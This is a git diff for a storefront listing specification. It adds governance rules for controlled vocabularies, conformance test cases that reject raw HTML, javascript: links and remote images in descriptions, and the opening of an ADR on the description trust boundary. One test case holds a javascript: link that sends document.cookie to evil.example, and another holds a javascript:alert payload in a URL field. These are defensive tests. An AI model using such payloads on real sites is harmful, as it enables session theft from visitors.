diff --git a/CLAUDE.md b/CLAUDE.md
index 22ea178..5e5e300 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -83,5 +83,7 @@ now rejects both, but the seeding still shows in the prose: some `description`
text uses platform vocabulary (`snapshot compute`) that a reader outside
`musher-dev/platform` cannot resolve. Compute Profile slugs used to be on that
list; blueprint §4.3 now carries the grammar and names where the vocabulary is
-published, per docs/adr/0003. Only `listing/v1/spec.md` still carries `TODO`
-sections — they are what keeps v1 pre-stable.
+published, per docs/adr/0003. No `spec.md` carries a `TODO` section any longer —
+listing §4.1 and §4.2 closed the last two, per docs/adr/0004 and GOVERNANCE.md →
+Changing a controlled vocabulary. What is left in each family's Known debt is a
+gap recorded where it applies, not an unanswered question.
diff --git a/GOVERNANCE.md b/GOVERNANCE.md
index 8f4d3d5..f89187e 100644
--- a/GOVERNANCE.md
+++ b/GOVERNANCE.md
@@ -58,6 +58,55 @@ Any change that would cause a previously valid document to fail validation is a
Adding a required field, narrowing an enum, tightening a pattern, and removing
a field are all breaking. Adding an optional field is not.
+## Changing a controlled vocabulary
+
+A field whose value comes from a closed `enum` is a controlled vocabulary this
+repository decides — [ADR 0003](docs/adr/0003-controlled-vocabulary-placement.md)
+§1 calls it placement one. Adding a term is a minor release; removing one is
+breaking, and therefore a new major.
+
+That asymmetry is the whole problem. Growth is cheap in every individual case
+and irreversible in aggregate, so the rule below is editorial rather than
+technical: nothing in CI can fail a term that is merely a bad idea.
+
+### An open taxonomy: listing `category`
+
+A candidate term must justify itself **against the terms that already exist**,
+and the proposing pull request must say so in three parts:
+
+1. **Which existing terms it was tested against**, and why each is wrong for the
+ listings it is meant to hold. A term proposed without this reads as an
+ addition; with it, it reads as a gap.
+2. **That it is how a buyer browses, not what the software is built with.** A
+ category answers "what am I looking for". The technology an item is made of
+ is what `tags` carries, and a term that would have been a good tag is not a
+ category.
+3. **That it is not a subset of an existing term.** A term that splits an
+ existing one in two makes both less useful, because a listing that could sit
+ in either now sits in whichever its author picked.
+
+Approval is one maintainer, as for any ordinary change. What is not ordinary is
+that a reviewer is expected to reject a well-formed term on editorial grounds —
+a taxonomy is judged by what it excludes, and twenty categories is a taxonomy
+while sixty is a list with none.
+
+**There is no numeric ceiling, and the reason is worth stating.** A cap would be
+honoured only by refusing every candidate once it was reached, because the
+alternative — merging two terms to make room — is a removal and therefore a new
+major. A limit that cannot be enforced within the major it applies to is a limit
+in name, and it would displace the judgement that actually does the work.
+
+### A closed progression: listing `lifecycleStage`
+
+`lifecycleStage` is not a taxonomy and does not share the rule above. It is a
+short ordered progression describing maturity, and its terms are not
+alternatives an author chooses between on taste — each one makes a claim about
+the item that the storefront acts on.
+
+Adding a stage therefore changes what the storefront *means*, not how it sorts,
+and needs an **accepted ADR** rather than the admission test. The same is true
+of any other vocabulary of this shape.
+
## Release process
Releases are automated. Merging a Conventional Commit to `main` opens a
diff --git a/conformance/listing/v1/cases.json b/conformance/listing/v1/cases.json
index 6118cc5..56958e4 100644
--- a/conformance/listing/v1/cases.json
+++ b/conformance/listing/v1/cases.json
@@ -72,6 +72,16 @@
"phase": "structural",
"path": "structural/010-media-paths"
},
+ {
+ "id": "structural-011-url-field-disallowed-scheme",
+ "phase": "structural",
+ "path": "structural/011-url-field-disallowed-scheme"
+ },
+ {
+ "id": "structural-012-support-url-mailto",
+ "phase": "structural",
+ "path": "structural/012-support-url-mailto"
+ },
{
"id": "semantic-001-duplicate-screenshot-basename",
"phase": "semantic",
@@ -106,6 +116,26 @@
"id": "semantic-007-component-item-version-independent",
"phase": "semantic",
"path": "semantic/007-component-item-version-independent"
+ },
+ {
+ "id": "semantic-008-description-raw-html",
+ "phase": "semantic",
+ "path": "semantic/008-description-raw-html"
+ },
+ {
+ "id": "semantic-009-description-html-in-code-fence",
+ "phase": "semantic",
+ "path": "semantic/009-description-html-in-code-fence"
+ },
+ {
+ "id": "semantic-010-description-javascript-url",
+ "phase": "semantic",
+ "path": "semantic/010-description-javascript-url"
+ },
+ {
+ "id": "semantic-011-description-remote-image",
+ "phase": "semantic",
+ "path": "semantic/011-description-remote-image"
}
]
}
diff --git a/conformance/listing/v1/semantic/008-description-raw-html/case.yaml b/conformance/listing/v1/semantic/008-description-raw-html/case.yaml
new file mode 100644
index 0000000..9aa839d
--- /dev/null
+++ b/conformance/listing/v1/semantic/008-description-raw-html/case.yaml
@@ -0,0 +1,25 @@
+# A listing is authored by a third party and rendered by the storefront, so the
+# description is untrusted content in a first-party origin. Raw HTML is the
+# direct script-execution vector, and CommonMark permits it by default — which
+# is why §4.1 narrows the profile rather than naming CommonMark and stopping.
+#
+# Both forms appear here: an HTML block (CommonMark §4.6) and raw inline HTML
+# (§6.6). One diagnostic is declared; the runner permits the second.
+specVersion: v1
+kind: LISTING
+metadata:
+ slug: postgres
+ version: 1
+spec:
+ listingKind: COMPONENT
+ displayName: PostgreSQL
+ summary: The open-source relational database
+ category: INFRASTRUCTURE
+ lifecycleStage: STABLE
+ description: |
+ ## What it is
+
+

+
+ A relational database with an interesting
+ reputation.
diff --git a/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json b/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json
new file mode 100644
index 0000000..6e20a57
--- /dev/null
+++ b/conformance/listing/v1/semantic/008-description-raw-html/diagnostics.json
@@ -0,0 +1,6 @@
+[
+ {
+ "code": "ERR_RAW_HTML",
+ "path": "/spec/description"
+ }
+]
diff --git a/conformance/listing/v1/semantic/008-description-raw-html/metadata.json b/conformance/listing/v1/semantic/008-description-raw-html/metadata.json
new file mode 100644
index 0000000..5e28ac5
--- /dev/null
+++ b/conformance/listing/v1/semantic/008-description-raw-html/metadata.json
@@ -0,0 +1,7 @@
+{
+ "id": "semantic-008-description-raw-html",
+ "phase": "semantic",
+ "expected": "fail",
+ "clause": "specifications/listing/v1/spec.md#description-markdown",
+ "summary": "A description containing raw HTML is rejected."
+}
diff --git a/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml b/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml
new file mode 100644
index 0000000..e6f1262
--- /dev/null
+++ b/conformance/listing/v1/semantic/009-description-html-in-code-fence/case.yaml
@@ -0,0 +1,36 @@
+# The regression pin for §4.1's "a code fence is not raw HTML".
+#
+# A listing for anything embeddable documents the snippet its users have to
+# paste, and that snippet is HTML. CommonMark tokenises a code span and a fenced
+# code block as their own constructs — never `html_block` or `html_inline` — so
+# the rule is written in CommonMark's terms rather than as a search for angle
+# brackets. A lexical rule would reject this document, and the authors it
+# rejected would be the ones writing honest documentation.
+#
+# The same `
+
+ ```
+
+ Set `` to your instance, then see the
+ [configuration guide](https://www.postgresql.org/docs/) or jump to
+ [#defaults](#defaults) below.
diff --git a/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json b/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json
new file mode 100644
index 0000000..bf9a771
--- /dev/null
+++ b/conformance/listing/v1/semantic/009-description-html-in-code-fence/metadata.json
@@ -0,0 +1,7 @@
+{
+ "id": "semantic-009-description-html-in-code-fence",
+ "phase": "semantic",
+ "expected": "pass",
+ "clause": "specifications/listing/v1/spec.md#description-markdown",
+ "summary": "HTML inside a code span or fenced code block is not raw HTML, and is accepted."
+}
diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml b/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml
new file mode 100644
index 0000000..0a6bff8
--- /dev/null
+++ b/conformance/listing/v1/semantic/010-description-javascript-url/case.yaml
@@ -0,0 +1,24 @@
+# Forbidding raw HTML alone would not close the surface: a `javascript:` URL is
+# script execution wearing an ordinary Markdown link, and the document holding
+# one contains no HTML at all.
+#
+# The link is spelled as a reference definition rather than inline, because the
+# rule is about the destination a link resolves to and not about the syntax that
+# spells it.
+specVersion: v1
+kind: LISTING
+metadata:
+ slug: postgres
+ version: 1
+spec:
+ listingKind: COMPONENT
+ displayName: PostgreSQL
+ summary: The open-source relational database
+ category: INFRASTRUCTURE
+ lifecycleStage: STABLE
+ description: |
+ ## Getting started
+
+ [Run the setup wizard][wizard] to configure your first database.
+
+ [wizard]: javascript:fetch('https://evil.example/'+document.cookie)
diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json b/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json
new file mode 100644
index 0000000..3345e0e
--- /dev/null
+++ b/conformance/listing/v1/semantic/010-description-javascript-url/diagnostics.json
@@ -0,0 +1,6 @@
+[
+ {
+ "code": "ERR_DISALLOWED_SCHEME",
+ "path": "/spec/description"
+ }
+]
diff --git a/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json b/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json
new file mode 100644
index 0000000..57a8006
--- /dev/null
+++ b/conformance/listing/v1/semantic/010-description-javascript-url/metadata.json
@@ -0,0 +1,7 @@
+{
+ "id": "semantic-010-description-javascript-url",
+ "phase": "semantic",
+ "expected": "fail",
+ "clause": "specifications/listing/v1/spec.md#description-markdown",
+ "summary": "A description link using a scheme outside the permitted set is rejected."
+}
diff --git a/conformance/listing/v1/semantic/011-description-remote-image/case.yaml b/conformance/listing/v1/semantic/011-description-remote-image/case.yaml
new file mode 100644
index 0000000..4f62872
--- /dev/null
+++ b/conformance/listing/v1/semantic/011-description-remote-image/case.yaml
@@ -0,0 +1,26 @@
+# A remote image executes nothing. It discloses every storefront viewer's IP
+# address and user agent to a host the listing author chose, on every page view,
+# with no interaction — a per-view beacon pointed at people who have no
+# relationship with the author.
+#
+# §5 already fixed `media/` as the one directory an item ships assets from, so a
+# description image is held to the same grammar and a remote one is unspellable
+# rather than merely discouraged. The badge below is the shape this rejects in
+# practice, and rejecting it is the deliberate cost.
+specVersion: v1
+kind: LISTING
+metadata:
+ slug: postgres
+ version: 1
+spec:
+ listingKind: COMPONENT
+ displayName: PostgreSQL
+ summary: The open-source relational database
+ category: INFRASTRUCTURE
+ lifecycleStage: STABLE
+ description: |
+ ## PostgreSQL
+
+ 
+
+ A relational database.
diff --git a/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json b/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json
new file mode 100644
index 0000000..22f9060
--- /dev/null
+++ b/conformance/listing/v1/semantic/011-description-remote-image/diagnostics.json
@@ -0,0 +1,6 @@
+[
+ {
+ "code": "ERR_IMAGE_NOT_LOCAL",
+ "path": "/spec/description"
+ }
+]
diff --git a/conformance/listing/v1/semantic/011-description-remote-image/metadata.json b/conformance/listing/v1/semantic/011-description-remote-image/metadata.json
new file mode 100644
index 0000000..0f56547
--- /dev/null
+++ b/conformance/listing/v1/semantic/011-description-remote-image/metadata.json
@@ -0,0 +1,7 @@
+{
+ "id": "semantic-011-description-remote-image",
+ "phase": "semantic",
+ "expected": "fail",
+ "clause": "specifications/listing/v1/spec.md#description-markdown",
+ "summary": "A description image that is not an item media path is rejected."
+}
diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml
new file mode 100644
index 0000000..443581a
--- /dev/null
+++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/case.yaml
@@ -0,0 +1,17 @@
+# `javascript:` in `homepageUrl` is the same stored injection as `javascript:`
+# in a description link, and a storefront renders both. The scheme rule is one
+# rule with two placements: a `pattern` here, because a scalar field is
+# something JSON Schema can decide offline, and a semantic check inside the
+# description, because no pattern can parse Markdown.
+specVersion: v1
+kind: LISTING
+metadata:
+ slug: postgres
+ version: 1
+spec:
+ listingKind: COMPONENT
+ displayName: PostgreSQL
+ summary: The open-source relational database
+ category: INFRASTRUCTURE
+ lifecycleStage: STABLE
+ homepageUrl: javascript:alert(document.domain)
diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json
new file mode 100644
index 0000000..dcf9885
--- /dev/null
+++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/diagnostics.json
@@ -0,0 +1,6 @@
+[
+ {
+ "code": "ERR_INVALID_VALUE",
+ "path": "/spec/homepageUrl"
+ }
+]
diff --git a/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json
new file mode 100644
index 0000000..e9b2e2b
--- /dev/null
+++ b/conformance/listing/v1/structural/011-url-field-disallowed-scheme/metadata.json
@@ -0,0 +1,7 @@
+{
+ "id": "structural-011-url-field-disallowed-scheme",
+ "phase": "structural",
+ "expected": "fail",
+ "clause": "specifications/listing/v1/spec.md#presentation",
+ "summary": "A scalar URL field using a scheme outside the permitted set is rejected."
+}
diff --git a/conformance/listing/v1/structural/012-support-url-mailto/case.yaml b/conformance/listing/v1/structural/012-support-url-mailto/case.yaml
new file mode 100644
index 0000000..c01e98b
--- /dev/null
+++ b/conformance/listing/v1/structural/012-support-url-mailto/case.yaml
@@ -0,0 +1,19 @@
+# The other half of structural-011. The scheme set is three terms, not one, and
+# each is here for a reason worth pinning: `mailto:` because a support address
+# is a plausible value for supportUrl, and `http` because rejecting it would
+# reject projects whose homepage is not yet served over TLS — a judgement about
+# someone else's infrastructure rather than about this document.
+specVersion: v1
+kind: LISTING
+metadata:
+ slug: postgres
+ version: 1
+spec:
+ listingKind: COMPONENT
+ displayName: PostgreSQL
+ summary: The open-source relational database
+ category: INFRASTRUCTURE
+ lifecycleStage: STABLE
+ homepageUrl: https://www.postgresql.org
+ sourceRepoUrl: http://git.postgresql.org/git/postgresql.git
+ supportUrl: mailto:support@example.com
diff --git a/conformance/listing/v1/structural/012-support-url-mailto/metadata.json b/conformance/listing/v1/structural/012-support-url-mailto/metadata.json
new file mode 100644
index 0000000..30468ea
--- /dev/null
+++ b/conformance/listing/v1/structural/012-support-url-mailto/metadata.json
@@ -0,0 +1,7 @@
+{
+ "id": "structural-012-support-url-mailto",
+ "phase": "structural",
+ "expected": "pass",
+ "clause": "specifications/listing/v1/spec.md#presentation",
+ "summary": "The permitted scheme set includes mailto, and http alongside https."
+}
diff --git a/docs/adr/0004-listing-description-trust-boundary.md b/docs/adr/0004-listing-description-trust-boundary.md
new file mode 100644
index 0000000..208cd2d
--- /dev/null
+++ b/docs/adr/0004-listing-description-trust-boundary.md
@@ -0,0 +1,174 @@
+# ADR 0004: The trust boundary around a listing description
+
+- **Status:** Accepted
+- **Date:** 2026-08-17
+- **Extends:** [ADR 0001](0001-canonical-repository-architecture.md) §6
+
+## Context
+
+`spec.description` on a listing document is Markdown, bounded only at 20 000
+characters. It is written by whoever publishes the item and rendered by the
+storefront, which means it is third-party content displayed in a first-party
+origin — the classic shape of a stored cross-site scripting vulnerability.
+
+Nothing constrains it today. CommonMark permits raw HTML by design, so a
+conforming listing may contain `